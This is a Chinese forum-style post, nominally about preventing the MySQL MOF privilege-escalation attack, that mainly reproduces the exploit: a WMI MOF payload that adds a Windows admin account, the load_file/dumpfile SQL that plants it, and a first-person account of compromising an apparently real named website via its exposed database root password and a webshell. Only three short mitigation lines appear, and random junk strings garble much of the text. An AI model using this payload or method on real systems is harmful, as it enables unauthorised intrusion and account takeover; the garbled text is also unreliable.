Mysql mof扩展漏洞防范方法
2 {2 Z0 k# r3 p8 W7 n
7 [4 C8 ~/ _, {% X8 D8 M: b" c" T- E网上公开的一些利用代码:6 L1 U: C& A% U, C( \* X
" {* ^; X: w8 |#pragma namespace(“\\\\.\\root\\subscription”)
/ `! W* m6 G% H( y; V# ]6 q& x& ^+ [4 \$ P9 }; T& X
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- M. r' q* b, |% v
' i$ f3 G5 {; W: L
( z% Q: Q+ o. t
7 O( L& L5 k4 I, N8 J
8 s( D8 N6 R& R( W! V4 e0 L. }
# |- K+ P3 s. H4 k
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
! T5 F, Y B7 I, u从上面代码来看得出解决办法:
# U/ I2 h" Q- {& s7 g% p. E7 |. o4 G, `# _8 N' m6 d5 y* v& r/ c0 W
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数 m6 X4 ~- A& T1 K% E1 h( r
) h. x& b& x% H% S3 P6 R1 K+ ^2、禁止使用”WScript.Shel”组件
* t) H' p" N) E# R
% o" ^. [+ [8 ^3 M4 t7 c* j3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
3 v' ^3 ?; S/ \: R
) |3 s7 A' S- R8 [, @" q当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
# ?) b& F; @% y! G1 j
5 \4 B3 _' x" J; m" ^$ \% i: ^! v事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权4 \0 S1 b+ b& ]8 K
; M: Y4 l" w9 i1 Z7 l但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容5 B P0 I3 n0 G7 p( v* z2 u) I# J
# y! G2 V' B3 D, B* C看懂了后就开始练手吧( ^* Q( A$ p* j, E% s- Y
/ {) S6 n' s0 f5 N7 A4 D, |http://www.webbmw.com/config/config_ucenter.php 一句话 a
5 E. O0 ~' x# @0 r- r, G0 ?& }5 G7 ^8 D' J% M* w+ Y' \
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。* a. x+ [' q( j
9 N- H- r- y0 U8 _4 g
于是直接用菜刀开搞 a8 ?1 M7 x) e) n# i! O" `! n
9 a" _" W+ t* c# R2 g
上马先; Z6 \! i" o+ h" r0 N, f1 a5 G! j
: u1 e$ Z- [/ i) D( ~既然有了那些账号 之类的 于是我们就执行吧…….; f% |8 r( |. r
5 [* F M) Q6 k# c小小的说下
$ [0 {! a2 {7 Y2 A$ q4 O1 h5 B
/ R# V/ Q! }$ y8 o, T Q$ K1 H8 @在这里第1次执行未成功 原因未知
6 K7 F; ~( j# q8 v/ u8 {" c) D
% r1 |- e3 n: Z5 Y0 I我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
- G9 H4 R8 s L# I: Z9 \
$ l0 z' x4 {$ V% E' D; v#pragma namespace(“\\\\.\\root\\subscription”); b8 C0 H, e& M4 H( o
5 w" Y) O& t/ X: kinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
; j% T! V* N6 I2 l& q+ |
9 ], n* X* O, y9 A* v& D我是将文件放到C:\WINDOWS\temp\1.mof# {+ o: G6 o. c+ A
9 s. [8 @7 ^" H/ V3 L+ H* ~
所以我们就改下执行的代码& ?# d, B8 m9 `- S) n
: z* i0 o) T! {: u# @- `8 P4 jselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
5 j0 k" E+ i& X7 M% }: J+ r; `& m' c7 E9 H0 X4 e1 Y3 }* G5 u
1 ^1 X& a s/ j" b4 m+ U7 t& O. z) v4 Z4 d/ b6 i9 a$ ]4 B: m
但是 你会发现账号还是没有躺在那里。。
$ j4 R3 ~$ B3 E# k7 z
$ L1 o0 v4 G7 I1 A/ x于是我就感觉蛋疼
) k' A! e5 e, J# K) s$ E" Q
# z$ r( Q! V; j2 I0 \0 y; ]/ e就去一个一个去执行 但是执行到第2个 mysql时就成功了………
\& K+ V! t z) p; j& ~
( C! j. r1 o Q1 Y2 W$ i
( _ n" T/ Y2 H. k# m. J4 K% f1 u. x" |
但是其他库均不成功…
5 C" r+ P1 M6 e* K
" q: \! x' l! Q3 T4 M- ?我就很费解呀 到底为什么不成功求大牛解答…% `) t& c: X: j3 m6 n
. P$ A/ P# j! B+ G+ T8 ?. {# J4 r; ]3 b {6 U: K
) _3 B/ X* h6 ~ |